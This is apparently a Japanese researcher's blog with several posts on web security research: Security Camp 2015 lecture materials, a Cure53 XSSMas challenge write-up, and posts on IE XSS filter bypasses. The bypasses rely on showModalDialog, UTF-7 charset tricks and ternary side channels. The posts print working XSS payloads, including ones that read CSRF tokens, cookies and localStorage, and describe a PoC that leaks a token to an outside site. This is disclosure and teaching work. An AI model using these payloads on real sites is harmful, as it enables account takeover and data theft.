文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。

2015/08/18

セキュリティ・キャンプ全国大会2015の資料を公開

2015年8月11~15日の間行われたセキュリティ・キャンプ全国大会2015に、今年も講師として参加してきました。使用した資料を公開します。


1. 事前学習として用意した「簡単にSOP周辺を理解するページ」
http://vulnerabledoma.in/camp2015_sop/


2. 講義に使用したスライド



3. 特別コーナーで使用したスライド




1つ目のスライドは、自分がキャンプの1日目に担当した「バグハンティング入門」という講義で使用したものです。講義では、脆弱性を探すときにどのような点に注目すればいいのかを過去に発見した/されたWeb周辺のバグを通して説明しました。

題材のアプリケーションには、サイボウズLiveとIEのXSSフィルターを選びました。

サイボウズLiveは、キャンプの連絡事項の伝達に使うため、参加者全員が必ず使うWebアプリケーションになります。身近に使っているアプリケーションにも脆弱性があることを感じてもらいやすいと考え、昨年に続いて題材に選びました。また、サイボウズは脆弱性の検査/報告を歓迎しているし、申請すると検査用の環境を個別に用意してくれるので、キャンプが終わった後も脆弱性を探したいと思った参加者に勧めやすいというのも選んだ理由です。だって、万が一、誤解を招いて参加者がインターネットを止められても困りますからね

XSSフィルターについては、自分がとりわけ詳細まで把握している機能で扱いやすかったため、題材に選びました。あと、キャンプで使う演習用のPCがWindowsで、何も指示しなくてもIEなら必ず入っているため、準備が楽だったからというのもあります。

講義では、実習として、実際にXSSフィルターのバイパスに挑戦してもらいました。もちろん、実習の期間中に未知のバイパスを発見しろという無茶な話ではなくて、考慮された典型パターンからはずれると、簡単にバイパスできてしまう場合があることを知ってもらうために、意図的にバイパスできる状況を設定したものを突破してもらいました。

ちなみにXSSフィルターのバイパスチャレンジはキャンプ参加者以外の方も以下で挑戦できます。ゴールは、IE10以上(Edgeはダメです)を使ってXSSフィルターをバイパスし、alert(1)を実行することです。
日頃XSSをプレイしている人にはChallenge 1337以外は簡単だと思います。

Challenge 1
http://vulnerabledoma.in/camp2015/challenge?q=[XSS_HERE]

Challenge 2
http://vulnerabledoma.in/camp2015/challenge2?q=[XSS_HERE]

Challenge 1337
http://vulnerabledoma.in/camp2015/challenge1337?q=[XSS_HERE]


参加者には引き続き自分で回答を探してもらっているので、答えがわかっても、回答をパブリックにしないようお願いします。

問題(1と2)はかなり単純だと考えていたので、10分程度の演習時間を予定していましたが、30分以上を使っても、結局、講義中に解けたのは講師だけでした。もう少し段階的に説明するべきだったかなと、少し反省していますが、それでも講義後には、ぽつりぽつりと回答者が出始めたので、興味を持って取り組んでもらえているように思います。キャンプの準備には随分苦労しましたが、少しでも興味を持ってもらえたなら、講義をした甲斐があったと思います。

expression()とかXSSフィルターのバイパスとか、そんなの入門じゃないだろうと思うかもしれませんが、それを覚えてほしいという意図はなくて、探し方のポイントをおさえれば、そういった、人が見落としやすい部分に目を向けたり、複雑にみえる問題を解決していけるようになるということが講義を通して伝えたかったことです。


2つ目のスライドは、2日目の夕食時に行われた特別コーナー、「俺たち、高レイヤーの講師だけど質問ある?」で発表したものです。この日、ちょうど自分の報告したFirefoxの脆弱性(CVE-2015-4483)が修正されたので、どのような問題だったか、どのようにして発見に至ったかについて、自分の講義で紹介した脆弱性発見のテクニックを実際の場面で使っていることを示しながら解説しました。わかりやすく、扱うのに最適な実例だったので、Mozillaは本当にいいタイミングで修正してくれたなと思います。


参加者の皆さん、5日間お疲れ様でした。
ぜひこれから、もっと深い知識をつけ、自分の手でまだ誰も発見していない驚くような脆弱性を発見して欲しいと思います。皆さんの活躍を楽しみにしています!

2015/06/16

ブラウザのXSS保護機能をバイパスする(6)

Hi! Are you English-speaker? Good news! Finally, I started my blog in English:

Bypassing IE's XSS Filter with showModalDialog
http://mksben.l0.cm/2015/06/bypassing-xss-filter-showmodaldialog.html

I'm not good at English, but I think it is easier to read than Google translate. Maybe.
Enjoy!
-----------------------------------------------------------------------------

先日、古くからあるJavaScriptの関数の1つの、showModalDialogの挙動について詳しくみていました。showModalDialogは、Chromeでは既に動かないし、次期Windowsに搭載されるMicrosoftの新ブラウザ「Edge」でも廃止、Firefoxでも間もなく廃止予定という、着々と消されつつある機能です。なぜこんな死にかけを見ようと思ったかというと、この関数は、ただ新しいウインドウを開くだけではない、個性的な機能を持っており、ちゃんと見てみれば今でも何か面白いことがみつかるかもしれないと思ったからです。その結果、IEのXSSフィルターをバイパスできることに気付いたので今日はそれを紹介します。

まずはshowModalDialogの機能をおさらいしましょう。




showModalDialogの第1引数はモーダルなウインドウ(閉じるまで他のウインドウの操作ができない)にロードするURL、第2引数はモーダルなウインドウに渡せる特別な引数です。第2引数にいれた値は、モーダルなウインドウのwindow.dialogArgumentsプロパティを通じてアクセスできます。さらに、モーダルなウインドウ中で、window.returnValueプロパティに何かを代入すると、モーダルなウインドウを閉じた時に、showModalDialogを実行した側の戻り値に使われます。

うわあ。この、古い機能のダサすぎるかんじ、いいですね…(*´_`*)

要は、dialogArgumentsreturnValueは、ウインドウ間の情報の引き渡しに使われているということです。ここで、dialogArgumentsreturnValueは2つのウインドウのオリジンが異なっていても渡せるのか、ということが気になりました。それぞれ、渡せるとすれば、渡せないことを前提にdialogArguments/returnValueを書き出すようなことをしていればXSSが起きるかもしれないし、returnValueに機密情報を入れている場合は、無関係なところに情報が渡るかもしれないことになります。ということで、簡単にテストしてみました。

まず、dialogArgumentsは、現在showModalDialogをサポートしているFirefox、IE、Safari(OS X)のすべてで別オリジンに引き渡すことはできませんでした。

Firefoxは過去に値を設定できていたようですが、脆弱性として修正されたようです。

MFSA 2010-04: window.dialogArguments がクロスドメインで読み取り可能なことによる XSS
http://www.mozilla-japan.org/security/announce/2010/mfsa2010-04.html

一方、returnValueは違いました。Firefoxでは制限されていましたが、SafariとIEではオリジンを超えて引き渡すことができました。

以下でテストできます。

http://vulnerabledoma.in/showModalDialog/opener.html

Safariは素直に引き渡せます。x-originのボタンを押しダイアログを開いて、「Set returnValue and close this dialog」を押し、異なるオリジン( www.vulnerabledoma.in → vulnerabledoma.in ) へ 値が渡ることを確認してみてください。
IEは間にリダイレクトを挟むと渡せます。x-originのボタンからは動かないですが、x-origin(redirect) のボタンからは動きます。

この挙動によって、次の2つの問題が考えられます。

1. showModalDialogを実行した場所が同じオリジンかどうか確認せずにreturnValueに機密情報を渡している場合に、無関係のサイトに情報を奪取される可能性がある。
2. showModalDialogで開いたダイアログ内で攻撃者のページまでページ遷移を発生させることができた場合、別ページで攻撃者の設定したreturnValueが元ページの戻り値に渡り、XSSなどが発生する可能性がある。(ただしこれはSafariのみ。IEはshowModalDialogのウインドウでのページ遷移が制限されている模様。)

どちらもターゲットのサイトでshowModalDialogがたまたまこの条件で使われていなければ問題にならないので、あまり大きな問題ではないと思います。
今回は、showModalDialogの安全な使い方を論じるつもりでこの話をしたわけではありません。
ここからが本題です。この挙動を使ってIEのXSSフィルターをバイパスします。

悪用が可能になるには次の2つの条件が必要です。

1. JavaScriptの文字列リテラルにXSSがある。
2. JavaScriptのプロパティのどれかに機密情報が含まれている。


以下はこの条件を持ったテストページです。

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

ページ内にCSRFトークンが含まれており(条件2)、XSS_HERE が入っている文字列リテラルの部分にXSSがある(条件1) といったかんじです。
今回はこのページからトークンを奪います。早速ですが、以下にバイパスのデモページを用意したので、アクセスして、"go"をクリックしてみてください。

http://l0.cm/xssfilter_bypass/showModalDialog.html

うまくいけば、モーダルダイアログを閉じた時にトークンがアラートされるはずです。

原理はまず、XSSに脆弱なページに3xx台のリダイレクトをかますことで、前述のIEの挙動を利用してreturnValueが別オリジンにも渡るようにします。
リダイレクト後の脆弱なページには次のような文字列を挿入します。

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
reurnValueにtokenを引き渡しています。これでウインドウを閉じた時に、別オリジンに情報がパスされるという訳です。

また、次のような文字列も攻撃に使える場合があるでしょう。

";returnValue=document.cookie//
";returnValue=localStorage.key//

同一オリジンの別のwindowオブジェクトにwindow.openerを経由してアクセスできたらもっと面白いと思ったのですが、openerを参照できず、失敗に終わりました。誰かこの手の方法、思いつきますかね?

このバイパスはXSSフィルター側で容易に対策できると思います。具体的には、文字列リテラル部分の遮断ルールのブラックリストにreturnValueを追加するだけです。"returnValue"という文字列は長いので、副作用もなく簡単に追加できると思います。まぁ、リダイレクトを通さないと値が渡らないことから、別オリジンのreturnValueから値が渡ることはMicrosoftの認識からすればバグだと思うので根本的に直すならそっちを直すべきだと思いますが。


以上です。古い機能の有効活用みたいなかんじですね!

余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。それじゃまた!


追記(2015/6/17)

同一オリジンの別ページの情報を取得する方法を思いつきました。とりあえず以下のページで"go"を押して何が起こるか見てみてください。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

別ページにある「<h1>This is secret Text!</h1>」がアラートされれば成功です。XSSに脆弱なフレームから欲しい情報があるフレームにtop.targetFrame.document.body.innerHTMLを経由してアクセスしてます。気付いたかもしれませんが、今回はリダイレクトを使っていません。どうも、リダイレクトを使った場合だけでなく、showModalDialogを実行したページとダイアログに開いたページが同一オリジンの場合、ダイアログに含まれるインラインフレームの別オリジンのページもreturnValueを渡せる力があるみたいです。

これ以上触ると蛇が出そうな気しかしません!

追記(2016/2/9)

XSSフィルターバイパスの問題は、2015年12月の月例アップデートで修正されたようです。"returnValue"という文字列が文字列リテラルでのXSSの遮断でブラックリストに追加されているのを確認しました。CVE-2015-6164が恐らくこれです。
https://technet.microsoft.com/ja-jp/library/security/ms15-124.aspx#ID0EX1BG

showModalDialog自体の動作(クロスオリジンで値が渡る動作)は特に変更されていないようです。

2015/02/12

Cure53 XSSMas Challenge '14 Writeup

12月と言えばXSS-Masの季節ということで、最近は、XSS-Mas前から1月の終わりまで開催されていた、賞金付きXSSチャレンジ「Cure53 XSS-Mas Challenge 2014」に挑戦していました。

Cure53 XSS-Mas Challenge 2014
https://cure53.de/xmas2014/

出題者による想定解と全回答者の答え
https://github.com/cure53/xss-challenge-wiki/wiki/XSSMas-Challenge-2014

XSSチャレンジというのは、出題者がわざとわかりにくい形でXSSに脆弱にしたページ(例:特定の記号や文字が使えない、文字数制限がある等)で、指定した条件(alert関数 で「1」の文字をだすとか)をクリアして、スクリプトが実行できることを証明するという、XSSを嗜む人たちの間で楽しまれる一種のパズルゲームです。
実際にXSSで攻撃可能なことを証明しないといけない場面でも、特定の制約がかかることは多く、こういったチャレンジは単なるパズル遊びというだけでなく、攻撃の発想を養ううえでとても有益なものです。

興味があれば、yamagata21さん作の以下のチャレンジあたりからはじめるのがおすすめです。

XSS Challenges (by yamagata21)

このチャレンジは難易度設定が適切で、基本的なXSSから少し変わったものまでカバーしていて、これからXSSの攻撃手法を学んでみたいという人には、とてもいい教材だと思います。はじめて触れた人には、こんな手法もあるのか、という驚きがあるのではないでしょうか。

さて、今回のXSSチャレンジは、XSS方面で著名なMario Heiderichさんのペネトレーションテスト会社、「Cure53」が開催したものでした。

賞金付きというだけあって、非常に難易度が高く、挑戦者も気合いが入っていて、非常にエキサイティングなゲームでした。今年の優勝者はこちらでみられます。日本人と思われる名前ですね…。
ちなみに、昨年も賞金付きで開催されていて、ここで昨年の優勝者を見ることができます。日本人と思われる名前ですね…。

今回のチャレンジはとりわけマニアックなテクニックが必要で、非常に面白かったので、どのように答えに辿りついたかを記事にすることにしました。

まず、僕の最後に提出した答えはこれです。IE11で動作します。(※現在はページ構造が微妙に変わっているので、all[69] の部分を all[71] にしないと動きません。)
https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=name=URL,f.submit(f.action=all[69]+"?charset=iso-2022-jp&<script>\u2028location=name+',alert('+/'\\w+'/.exec(all[6].text)+')'")
制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。(実際に試すときは all[69] を all[71] にしてください。)
http://tinyurl.com/kzlqr33


制限を回避するために一部の文字を使わないようにしたり、XSSフィルターをあえて作動させようとしたり、ブラウザのバグを使ったりしたあと、さらに文字を短縮するために手を加えているので、何をやっているのか意味が分からないと思います。

でも、1つ1つのテクニックを小分けにしてみていけばそんなに難しいことはやっていないです。
それでは書いていきます!

https://cure53.de/xmas2014/

ルールは、「指定された2ページだけを使って隠されたトークンをユーザ操作なしにアラートせよ!短い文字数で達成できた人が勝ち!」といったところです。
まず、どこに文字を入れたらいいかを探すところからクイズになっています。
This page has a vulnerable parameter you may use. Use it wisely.
「it」を使えと言っているので正直に使うと、

https://cure53.de/xmas2014/?it=">abc
<li><b>The challenge ends on 31st of January 2015</b></li>
i�</ul>
ページの下の方に変な文字がでてきました。
何だか入力値が加工されて出力されているっぽいです。Base64に変換しようとしていると仮定してBase64エンコードした文字を入れてみます。

https://cure53.de/xmas2014/?it=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<li><b>The challenge ends on 31st of January 2015</b></li>
<script>alert(1)</script></ul>
Base64だったようです。今回はアラートを出して終わりではなく、別のページにあるtokenをアラートせよというルールなので、別のページを見に行きます。


アクセスすると、以下の、
<script>
    history.pushState('', '', '/token-dispenser-5861d39/');
    // you cannot access the secret token quite yet
</script>
history.pushState()でURLが即座に変なものに置き換わります。
これはひとまずスルーします。ソースの他の部分をみましょう。
<span style="display:none">{{post.charset}}</span>
パラメータのヒント?
レスポンスヘッダをみると、
Content-Type: text/html; charset=charset

"charset"という名前の文字列がcharsetに指定されています。
そんなcharsetは存在しないのでこの指定は適切ではないです。この2点から「charset」というパラメータがありそうなので、つけてみます。

https://heideri.ch/alpudo?charset=utf-8

アクセスしてレスポンスヘッダをみると、
Content-Type: text/html; charset=UТF-8
おお、UTF-8が入りました。いや、でもよくみると何かがおかしいです。アルファベットのティーにみえる「Т」は  U+0422 です。これじゃcharset指定はきいていません。いろいろ入れて試すと、「UTF」「CP」「IBM」という文字があった場合、一部が偽アルファベットに置換されるようになっていました。「UTF-16」とか「UTF-7」とか、ページを簡単に破壊しそうなエンコーディングは使えないようにしている意図を感じます。

charset指定ができるということは、charset固有の符号化規則を使って解決してほしい部分がどこかにあるはずです。charsetはいじれることは覚えておいて、他を見ます。

ページ内の大量の改行の後に以下の文字列を発見できます。
<!--because nobody likes guessing games... the name is дaтотека    -->

「дaтотека」ってなんでしょうか。

https://translate.google.com/#auto/ja/%D0%B4a%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

うまく訳せません。でもこれ、よくみると2番目の「a」と最後の「а」が違う文字です。2番目のただのアルファベットのエー(0x61)を最後の「а」と同じ文字に変えて翻訳にかけてみると、

https://translate.google.com/#auto/ja/%D0%B4%D0%B0%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

「ファイル」ってでました!このページのURLは「https://heideri.ch/alpudo」です。これは多分uploadのアナグラムです。
ファイルをアップロードできるんでしょうか。

https://heideri.ch/alpudo に対して適当にフォームを作って空のテキストファイル(A.txt)をとばしてみます。
<form action=https://heideri.ch/alpudo enctype=multipart/form-data method=post>
<input type=file name=file>
<input type=submit value=upload>
</form>
すると、レスポンスがかわります。

<script>
    history.pushState('', '', '/token-dispenser-cdc1d9/');
    window['tοken'] = '545ae4f986fe9647535ffb6a5ef330c82add451d';
        // This sandbox is UNBREAKABLE! REally!
    (function(Object) {
        function recursiveFreeze(target) {
            var proto = target.__proto__;
            for (var name in target) {
                freeze(target, name);
            }
            var list = Object.getOwnPropertyNames(target);
            for (var i = 0; i < list.length; i++) {
                name = list[i];
                freeze(target, name);
            }
            proto && recursiveFreeze(proto);
         
            function freeze(target, name) {
                var whitelist = '__defineGetter__';
                if (!~whitelist.indexOf(name))try {
                    target.__defineGetter__(name, function() {});
                    Object.defineProperty(target, name, {configurable: false, value: '#'});
                } catch (e) {}
            }
        }
     
        recursiveFreeze(document); // freeze every property on document object
        recursiveFreeze(window); // freeze every property on window object
    })(Object);
    </script>
</head>
<body>
Thanks for the <i>errrm</i> fish!!
<br>
<a href="#" title="A">{{$name}}</a>
<br />
<span title="txt">{{$type}}</span>
<br />

おっ、こっちが指定したファイル名と拡張子(赤字部分)がtitle属性に入ってますね!ここからXSS文字列を挿入するんでしょうか。
また今回アラートせよといっているtoken文字列(青字部分)もでてきました。
そのあとごちゃごちゃjsが書かれてますが、これは自前のサンドボックス処理で、alertなどを簡単に呼び出せないようにしているようです。(試しにコンソールを開いてalertを呼び出そうとしてみるとわかります。)

まずやるのは、普通にファイル名に「"<>」とかを含んだ文字列を投げることですが、やっぱりこれはちゃんと置換されます。先ほど発見した、文字コードの変更と組み合わせてなんとかしてほしそうです。

「"<>」を「0x22」「0x3C」「0x3E」以外のバイト値で表現できる文字コードがあるなら何とかなりそうな気がします。そんな文字コードあるんでしょうか?あるんですよ!
以下に僕が以前調査したASCIIと全く互換性のない文字コードのリストがあります。

http://l0.cm/encodings/test7/

この中で「UTF」「CP」「IBM」という禁止された文字列が含まれていないのは「x-ebcdic-koreanextended」とかですね。IEでアクセスしてみると、ページがめちゃくちゃになります。

https://heideri.ch/alpudo?charset=x-ebcdic-koreanextended

これを使ってもできそうな気もしますが、「x-ebcdic-koreanextended」とか長いし、token部分が別の文字でつぶれてしまうのでtokenが取り出しにくいかんじです。実はIEにはまだ特別な方法があります。
以下はこれまた僕が以前調査した、イレギュラーなバイト列で「"<>」などが表現できるリストです。

http://l0.cm/encodings/test1/

ISO-2022-JPをみてください。「"<>」が変なバイト列で出現します。これは文字コードの仕様としてそうなっているのではなくて、単なるIE側のむちゃくちゃなバグです。今回は、これを使ってやってみます。

ところで、ファイルアップロード相当のリクエストはユーザがファイルを選択するというユーザ操作が絶対に必要でしょうか?今回、ユーザインタラクションなしにしろ( ページを開いてから攻撃までユーザによるクリックやマウス移動などの操作を介在せずにやれということ )という指示があるので、いくらここに文字列を挿入できても、ユーザ操作なしにできないと意味がありません。

実はファイルアップロード相当のリクエストはユーザ操作なしに送信できます。
いくつか方法はありますが、今回はIEのmultipart/form-dataのフォームのバグを使います。

このバグに関しては徳丸さんによる丁寧な解説記事がありますので、そちらを参照してください。

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる | 徳丸浩の日記
http://blog.tokumaru.org/2014/01/ie9html.html

また、その他の方法は他の回答者の解をみてください!

さあ、このISO-2022-JPのバグとフォームのバグを使って最初のページからリクエストを投げ、tokenのあるページでスクリプトを実行することろまでやってみましょう。

<form action="//heideri.ch/alpudo?charset=iso-2022-jp" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bsvg onload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

これをBase64化してIE11でアクセスしてみると…

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

あれ!アラート出ません!これは例の自前のサンドボックス処理があるからです。あの部分が邪魔なので、XSSフィルターにぶち壊してもらいましょう!こういうときに便利だなXSSフィルター!

<form action="//heideri.ch/alpudo?charset=iso-2022-jp&<script>" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bonload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

URLに"<script>"という文字を入れて、XSSフィルターを反応させ、scriptタグ内のサンドボックス化の処理を走らなくさせます。

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAmPHNjcmlwdD4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

やったあ!今度はアラートでましたね!あとは、token部分の文字列を正規表現で切り出してアラートすればミッション達成というわけです!
お疲れ様です!ここまで理解できれば問題はクリアできています。これ以上先は文字を短くする作業になります。

ここからがこのチャレンジの勝負どころではあるのですが、1つ1つ過程をなぞっていくと膨大な解説になってしまうので断念しました。これ以上興味がある人は直前で示した僕の回答を短くしようとしてみてください。そうすれば自然と僕の回答に近づくはずで、なぜそうしたかの理由がわかってくると思います。どうしてもよくわからない部分があれば、個別にきいてもらえれば答えます。また、こうすればもっと短くなる、みたいなのに気付かれた方はぜひ教えてください!

最後に1つだけ、今回も使った、XSSerならおさえておきたい短縮テクニックを紹介して終わりたいと思います。

今回は挿入コードがBase64化されることで、文字数が大幅に増えてしまいます。そこで、全部のコードをBase64の部分に含めるのではなく、evalを実行するコードだけBase64部分に書いておいて、直接URLに書いたJavaScript文字列を走らせるようにします。
このテクニックはGareth Heysさんにより2012年に紹介されています。
詳細はGarethさんのブログを参照してください。

Eval a url
http://www.thespanner.co.uk/2012/05/08/eval-a-url/

このテクニックを使って、以下のようにすれば今回もアラートをだせます。

https://cure53.de/xmas2014/?it=PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg#
alert(1)


出力される部分に文字数制限があるときなどに使えるので、覚えておくといいと思います!


余談として、僕はcure53.deが攻撃者のサイトで、heideri.chがターゲットのサイトと想定して、cure53.de上でtokenをアラートすることがtokenを奪ったことになるとルールを勝手に解釈していました。他の回答者がheideri.chのコンテキストでアラートを出しているのに対し、僕の提出した解はいちいちcure53.deに戻ってからアラートを出しているのはそういうわけです。このtokenを引き渡す部分には特に時間を費やして小さくして、凄くエレガントな解になったと思ったんですが、ルールをよく読めばこんなにここに力を注ぐ必要はなかったのでした…。まあ、ルールにはどこでアラートするかの指示はないのでこれでもいいわけですが、戻るのは明らかに無駄なステップで、このことに気づけばもっと簡単に他の回答者より短い解を示すことができていたので、終わってから気付いて大分ショックでした。

heideri.chでアラートするようにすれば、今回のカウント方法だと265バイト(提出した僕の記録は292なのでマイナス27バイト!)まで短くできます。

https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=URL,f.submit(f.action=all[71]+"?charset=iso-2022-jp&<script>\u2028alert(all[6].text.split(/'/)[9])")

制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。
http://tinyurl.com/lwrj5rj

結果的には、追い抜かれたりしたおかげで、さらに短くする方法を思いついたりして、簡単に1位になるよりは短縮法を追究できたのでよかったです。
大変勉強になりました。参加者の皆さん、ありがとうございました!(日本語で書いてもしょうがないかんじだけど!)


今回紹介したテクニックをまとめます。

・IEのISO-2022-JPの文字コードのバグ
・IEのmultipart/form-dataのフォームのバグ
・XSSフィルターを攻撃に利用するアイデア
・eval(URL)などの短縮テクニック


明日から使えますね!!
来年ももし開催されるならまた挑戦したいです!

2014/10/02

ブラウザのXSS保護機能をバイパスする(5)

先月に続いてIEのXSSフィルターをバイパスする記事です。
今回は、ブラウザのXSS保護機能をバイパスする(2) の応用を思いついたので紹介したいと思います。

ブラウザのXSS保護機能をバイパスする(2) で紹介した手法は、シンプルな反射型XSSが存在するとき、以下のような条件でIEのXSSフィルターをバイパスできることを示すものでした。

・レスポンスヘッダにX-XSS-Protection:1 または X-XSS-Protectionの指定なし
・Content-Typeレスポンスヘッダにcharset指定がない
・<meta http-equiv=> でcharset指定をしている

この記事を書いた段階では、<meta http-equiv=> でcharset指定をしている場合しかバイパスできないと考えていましたが、最近、<meta charset=> でcharset指定がある場合でもバイパスできることがわかりました。以下にその方法を示します。

次のようなページがあるとします。

 http://vulnerabledoma.in/xssable2?q=%3Cs%3EXSS_HERE
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
<s>XSS_HERE
</body>
</html>
<meta charset=>でcharset指定があり、シンプルなXSSがあるページです。
この条件でXSSフィルターをバイパスしてみます。

こうです:

http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D


IEでアクセスすると、アラートが動作するのが確認できると思います。

IEのXSSフィルターがどんな文字列に反応して<meta>タグを破壊しているのかに着目すると、この手法が見えてきます。
破壊するのは、"<meta" と "http-equiv=" がセットになってあるときです。これまで、<meta charset=>をURLに含んでも破壊してくれなかったのは、 "http-equiv=" という文字列が含まれていなかったからです。
じゃあ、これらがセットで存在しているようにみせかければ、<meta charset=>のmetaだって破壊してくれるのでは、と考えて試したところうまくいったのが今回の手法です。以下の色を付けた部分のように、"<meta charset="から "http-equiv=" がひとつなぎであるかのようにみせかけて、XSSフィルターを反応させます。


http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
http-equiv=
<meta charset=utf-7><img src=x o+A-nerror=alert(1)>
</body>
</html>

 これで既存のcharset指定のmetaタグはme#aのように破壊され、charset指定がない状態になります。
 あとは、以前の手法と同じことをすればいいです。僕が過去にまとめた、 タグ中で無視されるバイト値が出現するもの一覧 を参考にしながらIEが無視してくれるバイト値をもったエンコーディングを使って、XSSフィルターが反応する文字列の間に無視されるバイト値を挟んでしまえば完了です。


以上です。面白いでしょ?我ながら面白い手法だと思いますね!

2014/09/22

ブラウザのXSS保護機能をバイパスする(4)

また最近IEのXSSフィルターのバイパスに挑戦してみました。
いくつか面白い隙をみつけたので紹介します。

今回は文字列リテラルでのXSSに対する検知をバイパスします。

1. onerrorとthrowを使ってXSSする

以前Gareth Heyes氏が紹介していた、onerrorとthrowの手法を使うと、XSSフィルターをバイパスできることに気が付きました。

XSS technique without parentheses
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/

Win7 IE9(ドキュメントモードがIE9)で有効です。IE10以降では改善され、"[JavaScriptの区切り]onerror= がフィルタ対象になっているようです。

http://vulnerabledoma.in/xssfilter_bypass?q="%3Bonerror=eval%3Bthrow'alert\x281\x29'//
";onerror=eval;throw'alert\x281\x29'//
これでIEのXSSフィルターがバイパスできるという言及はみたことがないので紹介してみます。

2. id/name付きリンクを変更してXSSする

Win8.1 IE11で確認しました。ドキュメントモードがIE8以下である場合のみ有効です。

http://vulnerabledoma.in/xssfilter_bypass2?q="%3Blink='javascript'%2B':alert\x281\x29'//
";link='javascript'+':alert\x281\x29'//

ドキュメントモードがIE8以下だと、anchor_name = url という形でhrefに代入できます。これを利用して、ページ内にid/name付き<a>タグがあるとき、リンクをjavascript: なものに書き換えることでXSSします。

XSSフィルターは ";x.x= みたいなドット付きの代入式らしきものには反応しますが、ドットなしの ";xxx= みたいなのには反応しないことを利用しています。

3. 三項演算子とインクリメント/デクリメントを使ったデータの読み出し

今回イチオシの手法です。

以下のように、文字列リテラルにXSSがある箇所より前に、CSRF対策用tokenが埋め込まれているとします。このtokenは、10ケタの[a-f0-9]の値が設定されることがわかっているとします。

http://vulnerabledoma.in/xssfilter_bypass3?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

この条件で、XSSフィルターをバイパスしながらtokenの値を読み出すことができることを示します。
以下がPoCです。IEでgoボタンを押してしばらく待つと、tokenの値が外部サイトに表示されるのが確認できるはずです。

http://l0.cm/xssfilter_bypass/

次のような試行を繰り返すことで中身を少しずつ取得しています。
";"0"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"1"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"2"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
...

()は検知されるのでif()の代わりに三項演算子を使い、=を使った代入は検知されるので--でlocation.searchをデクリメントすることでリダイレクトを起こします。onloadイベントが起きたフレームを攻撃者が用意したサイト側から確認することで、true/falseを判断します。

余談ですが、最初、window.nameをインクリメント/デクリメントして、その結果からデータを読み出す方法を試したのですが、IEはwindow.nameの設定に関して他のブラウザとは異なる挙動があったので、うまくいきませんでした。

一応試したものを載せておきます。FirefoxやChromeではうまく動きますが、IEでは動きません。
http://l0.cm/xssfilter_bypass/name.html

